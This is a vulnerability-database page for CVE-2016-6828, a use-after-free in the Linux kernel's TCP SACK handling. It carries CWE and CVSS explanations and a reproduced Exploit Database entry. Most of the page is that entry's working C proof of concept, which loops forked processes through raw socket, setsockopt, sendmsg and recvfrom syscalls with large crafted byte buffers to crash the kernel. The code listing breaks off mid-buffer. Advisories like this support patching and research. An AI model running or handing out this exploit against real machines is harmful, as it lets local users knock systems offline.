CVE-2016-6828 Detail

CVE-2016-6828

Score / Severity

5.5

Medium

CVE Descriptions

The tcp_check_send_head function in include/net/tcp.h in the Linux kernel before 4.7.5 does not properly maintain certain SACK state after a failed data copy, which allows local users to cause a denial of service (tcp_xmit_retransmit_queue use-after-free and system crash) via a crafted SACK option.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-416	Use After Free The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.5	MEDIUM	CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	4.9		AV:L/AC:L/Au:N/C:N/I:N/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 40731

Publication date : 2016-08-17 22h00 +00:00
Author : Marco Grassi
EDB Verified : No

// Source: https://marcograss.github.io/security/linux/2016/08/18/cve-2016-6828-linux-kernel-tcp-uaf.html // to build clang derp4.c -o derp4 -static #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdint.h> #include <pthread.h> #include <stdio.h> #ifndef SYS_mmap #define SYS_mmap 9 #endif #ifndef SYS_socket #define SYS_socket 41 #endif #ifndef SYS_bind #define SYS_bind 49 #endif #ifndef SYS_sendto #define SYS_sendto 44 #endif #ifndef SYS_setsockopt #define SYS_setsockopt 54 #endif #ifndef SYS_dup #define SYS_dup 32 #endif #ifndef SYS_sendmsg #define SYS_sendmsg 46 #endif #ifndef SYS_recvfrom #define SYS_recvfrom 45 #endif #ifndef SYS_write #define SYS_write 1 #endif long r[62]; int main(int argc, char **argv) { while (1) { pid_t pid = fork(); if (pid == 0) { r[0] = syscall(SYS_mmap, 0x20000000ul, 0x20000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); r[1] = syscall(SYS_socket, 0xaul, 0x1ul, 0x0ul, 0, 0, 0); memcpy((void*)0x20006000, "\x0a\x00\xab\x12\xc7\x17\x1c\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x4f\xdc\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 128); r[3] = syscall(SYS_bind, r[1], 0x20006000ul, 0x80ul, 0, 0, 0); r[4] = syscall(SYS_mmap, 0x20020000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); memcpy((void*)0x20012f5a, "\x25\xf9\x1b\xd4\xeb\xf5\x39\x3c\xd5\x80\xf6\xf0\xd6\xe1\xff\x65\x30\x97\xac\xaf\x1b\xbc\xc8\xae\xa4\x1e\xab\xd8\x60\x51\xcb\x4b\xed\xae\xaa\x37\xda\x80\xf9\x06\xb8\x6b\xdf\x78\x0f\xd0\x87\xf2\x65\x5f\x5e\x85\xb5\x4d\x6b\x48\xff\xf3\x0d\x46\x1c\xe5\xa4\x48\x38\x78\x18\x71\x9b\x75\xc4\xc9\x77\xf2\xc4\x5f\x88\x8e\xd2\x8d\x97\x26\x56\x4c\x93\x31\xbc\x64\x22\xff\xdc\x68\x01\x74\x43\xea\x84\x6f\x1d\x90\xeb\x98\x6c\xe9\x1c\x3b\x72\xab\xa0\xb5\x5b\xe8\xee\xfb\xf3\x2d\x96\xa0\xd4\x13\x55\xbc\xd4\xe0\x41\xfd\x78\x7e\x90\xf9\x9f\x9c\x57\x32\x47\xf2\xcf\x7f\x4a\x7b\x79\x0a\xdd\xb4\xce\xbd\x0b\x44\x02\x95\x0f\xaf\x50\xff\x87\x90\x09\xaa\x94\x01\x41\x43\x08\x8e\xb1", 165); memcpy((void*)0x20020000, "\x0a\x00\xab\x12\x0d\xf5\xba\x69\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xac\xad\xce\xa0", 28); r[7] = syscall(SYS_sendto, r[1], 0x20012f5aul, 0xa5ul, 0x249e4e54fe149d8cul, 0x20020000ul, 0x1cul); *(uint32_t*)0x20001fff = (uint32_t)0x2; r[9] = syscall(SYS_setsockopt, r[1], 0x1ul, 0x8ul, 0x20001ffful, 0x4ul, 0); r[10] = syscall(SYS_dup, r[1], 0, 0, 0, 0, 0); *(uint32_t*)0x20018000 = (uint32_t)0x4; r[12] = syscall(SYS_setsockopt, r[1], 0x29ul, 0xbul, 0x20018000ul, 0x4ul, 0); *(uint64_t*)0x2000dfc8 = (uint64_t)0x2000e000; *(uint32_t*)0x2000dfd0 = (uint32_t)0xc; *(uint64_t*)0x2000dfd8 = (uint64_t)0x20000000; *(uint64_t*)0x2000dfe0 = (uint64_t)0x1; *(uint64_t*)0x2000dfe8 = (uint64_t)0x0; *(uint64_t*)0x2000dff0 = (uint64_t)0x0; *(uint32_t*)0x2000dff8 = (uint32_t)0x4; *(uint16_t*)0x2000e000 = (uint16_t)0x0; *(uint16_t*)0x2000e002 = (uint16_t)0x0; *(uint32_t*)0x2000e004 = (uint32_t)0xffff; *(uint32_t*)0x2000e008 = (uint32_t)0x401; *(uint64_t*)0x20000000 = (uint64_t)0x2000ed3a; *(uint64_t*)0x20000008 = (uint64_t)0x37; *(uint32_t*)0x2000ed3a = (uint32_t)0x14; *(uint16_t*)0x2000ed3e = (uint16_t)0x2; *(uint16_t*)0x2000ed40 = (uint16_t)0x12; *(uint32_t*)0x2000ed42 = (uint32_t)0x1f; *(uint32_t*)0x2000ed46 = (uint32_t)0x7; *(uint8_t*)0x2000ed4a = (uint8_t)0x6; *(uint8_t*)0x2000ed4b = (uint8_t)0x100; *(uint8_t*)0x2000ed4c = (uint8_t)0x3f; *(uint32_t*)0x2000ed4d = (uint32_t)0x11; *(uint16_t*)0x2000ed51 = (uint16_t)0x0; *(uint16_t*)0x2000ed53 = (uint16_t)0x808; *(uint32_t*)0x2000ed55 = (uint32_t)0x1; *(uint32_t*)0x2000ed59 = (uint32_t)0x0; *(uint8_t*)0x2000ed5d = (uint8_t)0x0; *(uint32_t*)0x2000ed5e = (uint32_t)0x12; *(uint16_t*)0x2000ed62 = (uint16_t)0x2ea; *(uint16_t*)0x2000ed64 = (uint16_t)0x200; *(uint32_t*)0x2000ed66 = (uint32_t)0x5; *(uint32_t*)0x2000ed6a = (uint32_t)0xffffffffffffffff; *(uint8_t*)0x2000ed6e = (uint8_t)0x9; *(uint8_t*)0x2000ed6f = (uint8_t)0x1; r[47] = syscall(SYS_sendmsg, r[10], 0x2000dfc8ul, 0x801ul, 0, 0, 0); *(uint16_t*)0x20001003 = (uint16_t)0x1; *(uint8_t*)0x20001005 = (uint8_t)0x0; *(uint32_t*)0x20001007 = (uint32_t)0x9; r[51] = syscall(SYS_recvfrom, r[10], 0x20014a91ul, 0xdeul, 0x0ul, 0x20000ffbul, 0x8ul); memcpy((void*)0x20015285, "\xed\xe0\xf1\x03\xbd\x1d\xe2\x8d\x13\x62\xc9\x11\xde\x3b\x55\xb1\xb2\x26\x95\xb2\x3f\x32\x96\x8a\x3d\xf7\xd4\x2c\xd9\x32\xae\x05\x9a\x60\x09\xbc\x49\x63\x6a\x45\xd5\x6f\xa8\x4b\xaf\x8a\x66\xf3\x35\xad\xe6\x68\x85\xd4\x7e\xe5\x7c\x7e\x06\xbf\x32\xfb\xf9\xd2\x9f\x40\xa3\x0a\xa0\x93\x09\x73\x39\x7d\xac\x3c\x8d\x83\xe0\x0c\x5e\xa2\x36\x9b\x9c\xb4\x62\xe8\x39\x07\xd8\x71\xc1\x2f\x6f\x18\xfa\x8a\x5d\x06\xb4\x46\xa2\x97\x79\x81\xb2\x85\xd4\x4f\x6b\x48\xc4\xf5\xdd\xa8\x8d\x10\x74\x01\xe1\x58\xb2\x82\x72\xc4\xb6\xb2\xf7\xaa\x90\x9c\x9f\x61\x95\x87\x7b\x99\xc5\xa5\x53\xbc\xab\xdb\xdb\x5e\x32\xb8\xc3\xee\xd3\xda\x7a\xf2\x5c\xc5\x1a\xf1\xd6\x1b\x53\xad\x24\xd0\xa0\xc0\x0d\x73\x9e\x81\x7e\x4e\x82\xf5\xa9\x73\x3c\x7a\x5c\x6e\x4c\x48\x7d\x42\xf5\x2f\x68\xf9\x7e\xa9\xd8\x6a\x64\x78\x08\x7a\x37\xe9\xd3\x81\x15\x34\x63\x63\x14\xb7\x1a\x43\x9b\x4f\x85\xfa\x88\x5c\xe1\x1e\xce\x87\x95\xe1\x81\xc8\x06\xaf\x1a\x64\x26\x36\x83\x36\xef\x71\x0c\x2a\xda\xe4\xff\xa1\x87\xc2\x04\x96\x1c\x72\xd9\x2d\xf0\xce\x46\xd4\x3a\xd1\xc7\x2f\x60\x25\xf8\x33\x1f\x38\x7a\x46\xb1\x43\xa4\xd2\x65\x77\x47\x85\xe9\xad\x52\xdb\x8b\x93\x23\xf1\xf9\xa9\x5f\xe4\xf8\x39\x82\xc5\xb4\xe1\x5b\x87\xa0\xfd\x2c\xc2\x84\x15\x78\xaa\x9b\x3f\xe5\x75\x6e\x05\xef\x84\x4c\x6b\x9d\x1d\x9e\x7c\x92\x3b\x55\xcb\x01\x6f\xc5\x9a\xd8\xc3\x91\x39\x95\xd7\x8f\xe9\x87\x15\x27\xe7\x19\xa8\x18\x24\xfd\x09\x11\x49\x41\xc6\xd2\xe9\x1a\xf4\xb0\x9b\x85\x9b\x3f\xb1\xf3\xc3\x48\xc5\xe7\x45\x0b\x21\x2d\x32\x27\x92\x3c\x39\x52\x0f\x2b\xdf\x52\x66\x6f\x01\x8f\xdc\xfa\x8f\x5e\x53\xb7\x82\x23\x79\xfa\x28\xe5\x24\xa7\x5e\x2a\x24\x7e\xd0\x1e\xd5\x1a\xb6\xb8\xe5\xb2\x6d\x4d\x38\x61\x79\xb8\xd1\x27\x92\x63\x0c\xed\x3c\xf1\x13\x98\x37\xfa\x98\xda\x0c\x1a\x86\xd1\x6a\x12\x86\x2f\xd0\x8d\x8e\x2e\x52\x23\xac\x2d\x82\x59\xef\x17\xbc\xf1\x47\xfb\xf0\x5f\x43\x70\x99\x14\xdf\xaf\x44\x02\xb5\xe9\x39\x51\x8e\xf2\x07\x9c\xa2\x39\xab\x07\xa2\x22\xa7\xd3\x5c\xc0\x8c\xcf\x3c\xa2\xa7\xd0\xd6\xf4\x82\xcc\x35\x75\x3a\x20\xb7\x9b\xf3\x9d\xd9\xfe\xdf\x1e\x3f\x55\xf2\x99\xdb\xd0\xb2\xd7\x86\xc1\xfa\xb3\xc7\x99\xdc\x02\xe3\x9f\xfd\x1e\x56\xc1\xf2\x51\x32\x84\x61\x30\x33\xf6\xe3\x82\x9f\xf2\x04\xaf\x5d\xf4\x3d\xa6\x0e\x25\x53\xe9\x05\x7c\x42\xbf\xfa\x97\xd7\x77\x8c\x8f\x29\x7a\xcb\x40\x13\x07\xb5\x8d\x69\xdc\x8b\x35\xd3\xb6\xf3\xd8\x07\x94\x7e\x69\x0f\xb7\x28\xf1\xb3\x45\x60\x37\x65\xa4\xf6\xbf\x9c\xb3\xf9\x3d\xe1\x08\x08\xc9\x76\x5e\x8b\x7f\x26\x01\x9d\x8f\x15\x39\x02\xfe\x8a\xe3\x3b\x8b\xf9\xae\x06\x04\xef\x0d\xcf\x67\x24\x54\xe6\x4c\xe4\x05\x8e\xd7\xda\x4c\xf2\xd7\x88\x75\x87\xf7\x7e\xd0\x49\x19\x02\x5e\x00\xc4\xeb\x3e\xec\x70\x35\x9c\x9b\xc9\xd9\x47\x65\x4c\xa3\xdb\x0e\xde\x1e\x76\x58\x27\xe0\x91\x6b\xf9\x25\x44\xa6\xa2\x85\x8f\x50\xd0\x13\x88\x57\x25\x56\x78\xed\xcb\x6b\xec\xf2\x4f\xd4\xce\xf1\x90\xcd\x49\x50\xb5\xcf\xd3\x96\x4d\x3c\xf4\x54\x8e\xa9\xdb\xd3\xb5\x9e\xe9\x87\x19\x8b\x59\xd7\xf2\xcf\x1a\xd3\x70\xca\x42\xc6\x97\x66\x38\x24\x39\x4d\x42\xa1\xf0\x24\x46\xe4\x0e\x9c\xbc\xc4\x53\xa9\xb9\x94\x4d\xca\x48\xa6\x04\xb8\x2f\x4f\xf5\x85\x32\x22\xf8\x4e\x83\xab\x34\x27\x3b\x8f\x24\x48\x15\x9b\xa9\xf8\xb9\xb7\xcb\xd5\xfb\x72\xec\x7a\xc3\x39\x9c\xde\x25\x76\x08\x3f\x49\x35\xbd\x42\x4f\x3f\x5e\xfc\x6b\x6b\x9e\x3e\x34\x47\x62\xed\x5a\xae\xdc\xcf\x4e\xe6\x18\xfa\x7f\xe6\x46\xc8\xbe\xbc\x42\x88\xb6\xfe\xbd\x96\x85\x5a\x4a\x1d\xd2\x00\xe9\x71\x48\x48\x52\xd6\xf5\x88\x7d\x94\x18\xf6\xf0\x5c\x0a\x39\x29\xc8\x78\xa0\xa8\x44\xf4\xb6\xca\x78\x75\x4a\xf7\x53\xd7\x7e\x23\xaf\x6b\xf9\xcd\x77\xb2\xd0\x37\x29\x9c\x57\xbe\x9e\x5f\x7c\xe4\x41\x59\xde\xd5\x63\x02\x2a\xc0\x74\xa6\x00\xe2\x8f\x83\x30\xc1\x60\xcd\xb3\xca\x44\x1d\x88\x54\x8b\xbc\xa8\x79\x78\x86\xa2\x49\x7c\x94\x49\xf3\xb4\x41\x44\x76\x33\xf1\x2e\x71\xbc\xa1\x39\xb9\x68\x56\xd9\xa0\xa1\x6f\xdc\x7d\xa3\xb8\x4f\x1c\xb8\x19\x26\x42\x88\x0e\xcb\xbb\xc9\x6c\xa8\xf8\xe9\x37\x86\x61\x37\x9f\xba\xb3\x9e\x54\x07\xe6\xff\x6f\x54\x8c\xcf\x7e\x3d\x14\xfd\x94\xbb\xdc\x59\x5d\x22\x86\xb5\x3b\x18\x0d\x08\xad\x15\x67\x6b\xf1\xc8\xd8\x81\xac\x14\x63\xcf\x1e\xf9\x48\xba\xe0\x33\x4c\x1e\x72\xe9\x00\x1a\x48\xc5\xb4\x2c\x71\xd6\x7a\x0b\x8f\x6c\x02\x9a\x02\xa9\x20\xbd\x8a\x56\xe1\x59\x92\x1f\x5f\xea\x61\x1b\xe3\x2f\xc0\x15\x9c\x3e\xcf\xe7\x05\xbc\x7e\xe8\x88\x58\x63\x29\xc5\x10\x26\xf0\xbc\xf5\xcd\x3d\x33\xfa\x87\x45\x25\x1d\x86\xc0\xd8\x72\xdc\x1b\xaf\xa1\xf3\x1e\x81\xb4\x7b\x4d\xb5\x79\x72\x87\x92\x1f\x9d\xa1\x8e\x1a\x24\x7f\x49\x11\xc4\x59\xa5\x8e\x6c\x7a\xdd\x17\x52\x47\x3b\x09\x28\xe4\x3b\xef\xb0\xf3\x68\x9c\xd3\x6e\xe9\x89\x38\xdb\xeb\x01\x4f\x39\x9b\x5b\x0c\x8d\x92\xcd\x5c\x15\x47\x15\xa9\x98\x70\x75\xe2\xf0\x5b\xfe\xaa\xa9\xb3\xba\xc9\x8e\x5c\x6d\xfb\x53\xb9\x8b\x4f\x7e\x31\xbe\x69\x7e\x6d\x80\x6f\x3e\xd8\x59\x1c\x13\x5a\x3b\x2b\x0e\xc6\xd1\xf9\xaa\xf1\x30\x16\xf1\x7b\x2f\x6b\x5f\xa9\xde\xfa\xfd\x59\xaa\xdd\x32\xf7\xbb\x94\x28\x93\x16\xb3\x60\xd5\x6c\x62\x93\xba\xa9\xaa\x38\x52\xdc\x2f\x37\x75\x1d\x56\xa9\x3c\x7c\x8b\x0d\x56\x9e\x05\xf7\xa1\xa6\xef\x3c\x76\x6e\x06\x06\xde\x07\x84\xa0\xeb\xeb\x8e\x46\x2f\xd9\xc2\x56\xc6\x89\x85\x8c\x39\xad\xa2\x77\x24\xe5\xb5\x00\x04\x4c\xf5\x1e\x4a\x03\x06\xbb\xa1\x1f\xe7\xf8\xb7\x3e\xdd\xfc\x18\xbf\x13\x07\x14\xdd\x8a\x6b\x0f\x44\xc0\xeb\x4a\x43\x7d\x42\xe9\x02\x63\xb5\xc2\x7a\x87\xce\x14\x0c\xaf\xd9\x2b\xaf\x4b\x22\xec\xa9\x3b\x16\xeb\xb7\xc5\x0d\x51\x91\x93\x5d\x90\xe1\x8f\x34\x86\x71\xe0\x7c\xb5\x1e\xe7\x19\xc0\xd6\xc9\x3e\x08\x75\xc0\x1f\xab\x5e\x41\xbf\x0e\x1a\x14\xcc\x40\xf6\x85\x02\xba\x3d\x78\xce\xf7\x6f\x0e\xbf\x51\xda\xc6\xa1\x59\xbd\x69\x1a\x05\x7b\x34\xbd\xa7\x28\x39\xa1\xa2\x18\xa7\x76\x8f\x51\xa5\xd2\xdc\xf4\xa7\x7b\xc8\x64\x0e\xc0\xe8\xac\xc3\xd4\xb9\x11\x78\x58\x79\xe4\x91\xc9\xcf\xe2\x0c\xbb\x11\xb3\x80\x48\xd7\xa5\xbd\x45\xdd\xb6\xad\x87\x79\x01\xa0\xe1\x89\xdb\x54\x42\x1c\x78\x47\x91\x07\xe8\xbc\x26\x15\xf2\xdb\xba\x5b\xaa\x5a\x05\x84\xa2\x83\x7d\xe5\xbb\x5a\x77\x3f\x0a\x27\x06\x4e\x86\x69\x95\x27\x22\x7e\xa2\x42\x4d\x61\xa7\xab\x6d\x05\x8b\x7b\x6b\x94\xd6\x10\x40\x66\x30\x0b\x6c\x79\xe1\x62\xee\x33\xed\xd6\xd4\x9a\x3a\xea\x95\x5b\x60\x70\x58\xc9\xc6\x6c\x47\xa7\xd1\xcc\xfa\x9f\xc7\x66\xac\xbb\x4f\xe4\x09\x74\xe3\xd1\xeb\x82\x3b\xce\x4c\x2b\xcf\x08\xcd\xf6\x96\x2b\x65\x2a\x2c\x33\xf5\x7b\x66\xdb\xec\x3d\xbf\x24\xf7\xf9\x87\x99\x26\x1b\x5a\xa0\xd0\x0e\x2f\xc0\x2e\x03\xcd\xf4\x1e\x10\x7c\xb5\xb7\xec\x75\x2c\x20\x89\xc4\xec\x61\x34\x3b\x6c\x68\x14\x95\xd9\x9a\x03\xd7\xf2\x6b\xe6\x50\x14\x80\x72\xa2\x67\xaf\xb3\x19\x12\xcc\xf9\x9d\x3d\x34\x86\x48\xe7\xa6\xe7\xc0\x9b\x6c\xeb\x2c\x0d\x26\x6f\x09\xd9\x8c\x92\x8e\xde\x80\x04\x14\xe6\x88\xbb\x39\x2f\x2c\x14\xf2\xda\x86\xdb\x10\x59\x54\x83\xe6\x5e\xe3\x14\x4b\x73\x97\x9a\x94\xa8\x09\x44\x1d\xd0\x62\x2d\x43\xb4\x5e\x38\xaa\x8e\x5b\xdd\x2f\xd3\x2c\x8e\xd3\xd0\x0f\x9d\x80\xca\x87\x4e\xab\x52\x01\x29\xb7\xe7\x55\xa2\xe4\x2d\xee\xce\x30\xe9\xcb\xc4\x3e\xf9\x58\x04\x63\x01\xec\x89\x33\x01\x26\x7d\xe2\x5d\x41\xf7\x91\xa3\xcb\x41\x62\xb4\x82\x6d\xb9\xd1\xad\xf2\x96\x0f\xad\x87\xbe\x6d\x95\xaf\xc2\x14\x12\x78\x10\x90\x86\x61\x55\x97\x77\x5c\x19\xfe\x4e\xda\xf3\x74\x08\x83\x4d\xa0\x25\x04\x05\x4b\xf3\x30\xc1\x2f\xb6\x16\x2d\x9b\x2c\x7d\x90\x5a\xd2\x28\x53\xc5\x3a\x14\x8c\x1f\xda\xd7\x36\x47\xdc\x85\x7f\x2b\xe8\x0d\xf9\x03\x92\xba\x82\x20\xde\xb3\x65\x14\xe8\xdd\xfe\x6b\x3a\xab\xd5\xad\x03\xcb\x4f\x41\x08\x97\x22\xe7\xc7\x1d\x0e\x7c\x8e\x4d\x12\x2c\x86\x8b\xb3\x31\x43\x5f\x6e\x37\xcf\x08\x83\x4d\x16\xd7\x3f\x4a\x80\x2b\x67\x1a\xbb\xaf\x8d\x1c\x1c\x5d\x00\x33\xf3\x67\x13\x43\xf1\x09\x00\x81\x68\xe1\x33\xb1\xb4\xc1\xad\xd9\x99\x0c\xac\x4f\x09\x26\xd7\xff\xc8\xcd\xfd\xe9\x32\x52\xd1\x4c\xee\x61\x89\xe0\x82\x64\xa3\x6b\xeb\x23\x87\xc8\xed\x94\xa6\x6b\x68\xec\x13\x59\xa7\x74\x06\x7d\xac\x6f\xfd\xf5\x3d\x3b\x9d\x8b\xe1\x22\x98\xf3\x0e\xbd\x3f\xfa\xbe\xb9\x86\x3d\xe4\x1f\x30\xd4\x96\x6f\x7f\xd4\x48\xbc\xc9\x8b\x1e\x8f\x63\xa1\xb4\xa9\x43\xf2\xb8\x28\x5e\x57\x93\xc5\x56\x21\x12\x20\xd5\x16\x29\x14\xb0\xff\x42\xba\x0e\x26\x6e\xcd\x7e\x7c\x72\x27\xfb\xd2\x0f\xac\xdb\x0d\xc8\xc8\xd6\xa0\xc7\x5b\xfd\x0c\xd7\x89\xe8\x8b\xee\x24\x0f\xd1\x78\x23\x82\xe7\xb5\x7f\x63\xb3\x14\x10\x78\x26\x23\xd3\x60\xbd\x53\x5a\x1b\x67\x0f\xcf\xd5\xfe\x90\x18\xa9\xd6\x80\xc3\x94\x00\x21\x6d\xdb\xab\x09\x38\x0d\x77\xdc\x3e\x90\x2f\x3c\x0e\x06\x6b\xaf\x14\x45\xcc\x0d\xcb\x1b\x74\xdc\x01\xec\x29\x23\x96\xe0\x2a\x86\xee\x92\x9c\x86\x10\x9f\x3d\x7a\x56\xf3\x6f\x3b\xef\x2b\x84\xd5\xcf\xd3\xf7\x2b\xa6\x0d\x9c\xa2\xb0\x42\x8f\xed\x53\x99\x7a\x11\x64\x5e\x53\x92\xb7\x97\x20\xaa\x25\xc2\x5d\x6b\xbd\xde\x58\xe7\x51\xc2\xd5\xa5\xe0\x9b\xbf\xe4\x81\x1c\xd5\xc4\xee\x29\xfa\xd2\xbb\xce\xbf\xfe\x40\xee\x09\xf5\x4b\xb2\x1e\x33\xef\x8f\xf9\x05\x68\x15\x7a\x45\xa0\x52\x3c\x29\xf4\x01\xf2\x64\x98\x2d\xbd\x89\xae\x86\x80\xd9\x0a\xfe\xca\x86\x46\xc3\x58\xd6\x1d\x54\xd4\x6f\x36\xe0\x32\x6a\x23\x29\xbd\x69\x22\x9b\x1e\x7f\x01\x28\xff\xc0\x1c\x8f\x01\x08\xa4\x96\xda\xfe\x96\xab\xf2\x23\x34\x34\xb0\x46\x38\xd6\x2f\x87\x62\xcf\x96\x85\xbb\xcc\x98\x27\xfc\x91\xea\xd9\x78\xc4\xcb\x42\xc0\xd3\x7d\x90\x1c\xfa\x62\xa8\xb7\xf3\x31\x04\x56\xa1\x97\xe1\xa8\xfc\xab\x90\x64\x01\x81\xae\x20\x05\x2f\x91\xaf\x27\xb9\xb5\x12\xce\x94\xa6\x6b\x32\xf2\xd0\x0b\xf5\x71\xff\xbb\xd8\xe1\x20\x5f\x0d\xbe\x90\x44\xe4\xa5\xb5\xf6\xa3\x70\x5b\xd3\x24\xa2\xb6\xba\x22\xd7\x27\x47\xff\xff\x79\x65\xf1\x82\xcf\x51\x56\xa6\x6f\x48\x32\x66\x7b\x3f\x3f\x7c\xb8\x6f\x0f\x2d\xe8\x92\x72\x86\xc4\x9e\x6f\xe7\xb6\x3f\xb6\x6f\x96\xdc\x68\x8d\x1d\x1c\xfe\x3f\x23\x45\x7d\x35\xed\x3d\x6a\x06\xe8\x4b\x7f\xb1\xe6\x2b\x66\x4a\x53\x45\xa4\x5c\x77\x96\x25\x4a\x13\x3a\xf3\xbe\x7e\x16\xb0\x51\x84\x53\xe6\x4e\x37\xd7\xc1\xee\xda\xfb\x18\xb0\x81\x3b\x16\xfc\xea\x32\x00\x75\x97\x1a\xc9\xf9\x5a\x44\x1a\x12\x08\xcb\xbe\x60\x79\x80\x60\xcd\xbd\x5b\x60\x9b\xfc\x31\x5b\xca\xa5\xda\x16\x18\x45\x95\xe1\x5b\xd4\x4c\xdc\xc9\x10\x73\x14\xbb\x0b\x9c\xdb\x0c\x0c\x8c\x3b\x42\x29\xf4\x7d\x93\x61\x5a\x6a\x6b\xac\xae\x80\x60\x5d\xd1\x3e\xe4\x6d\xf7\x3f\xb8\x7b\x7f\x35\x1b\x67\xd3\x60\x80\x0a\x08\x25\xff\xbb\x31\x47\x60\xb3\xd1\x0e\xce\xbc\xf3\x88\xe0\x56\x5e\x61\x97\x63\x82\xa4\xff\xea\xf9\x48\x7f\x4c\x62\x58\x46\x30\xe5\x2c\xbe\xa0\x18\xe4\xe8\xf6\x4f\x22\x5b\x1d\x18\xb0\x48\x0c\xe7\x25\xa9\x1a\x8e\x5a\x3f\xbd\x4c\xab\xe7\x52\x29\xa2\x35\x77\xf5\x0c\x8c\x4e\x2d\xa9\x16\x11\x00\xdf\x8b\xe1\x7f\x8f\x20\x9d\xe9\xea\x2b\x4e\xf4\xe5\x98\x4e\xf8\xe9\x5b\x98\xb9\x2a\xb8\x68\x0d\xdb\x35\xf8\xfd\x5d\x28\x14\x2a\x65\x33\x3d\xde\x77\xc5\x73\xee\xc4\xa4\x8e\x76\x12\x4f\x28\x93\x7d\xd8\xf5\xbf\x32\x39\xe1\xc1\xaa\x46\x71\x9f\xcb\xa4\x93\xa5\xae\xe0\xb1\x9f\x03\xb3\xbe\x86\xf9\x92\x45\x65\x64\x8d\xd9\x49\x09\xd2\x0c\x01\x92\x75\x1a\x29\x43\x34\x74\x21\x6d\xa6\x0e\xa7\x3b\x15\x2c\x59\xc2\xb9\x8a\x92\xcb\xc3\x8c\xc7\x06\xfd\xfc\xe1\x67\xc7\xc5\xc6\x07\x24\xc8\x06\xa7\xdc\x76\x83\x43\xec\x90\x3b\x6f\xa0\x00\x9a\x68\x44\x71\x19\xbe\xdb\x24\xb0\xcb\x9b\x8a\x28\xb6\x30\x99\x79\xd2\x42\xbe\x53\x32\x84\x0c\x17\xdc\xc9\x1c\xa9\xed\x26\x20\x69\xef\x6d\xc4\xa4\xad\xe5\x68\xec\x52\xe8\x51\x3f\xb2\x52\xbc\x6f\x84\x26\x41\xf9\x91\x22\x66\x89\xcc\x03\xa6\xa5\x7a\x07\xd7\x35\x92\x5e\xc1\xf9\x11\x1b\x4b\x6d\x50\x7b\x4f\x43\xca\x13\x37\xd2\x6d\xce\x81\xa8\x9b\x8b\x8c\x65\x75\x08\x97\x18\xb6\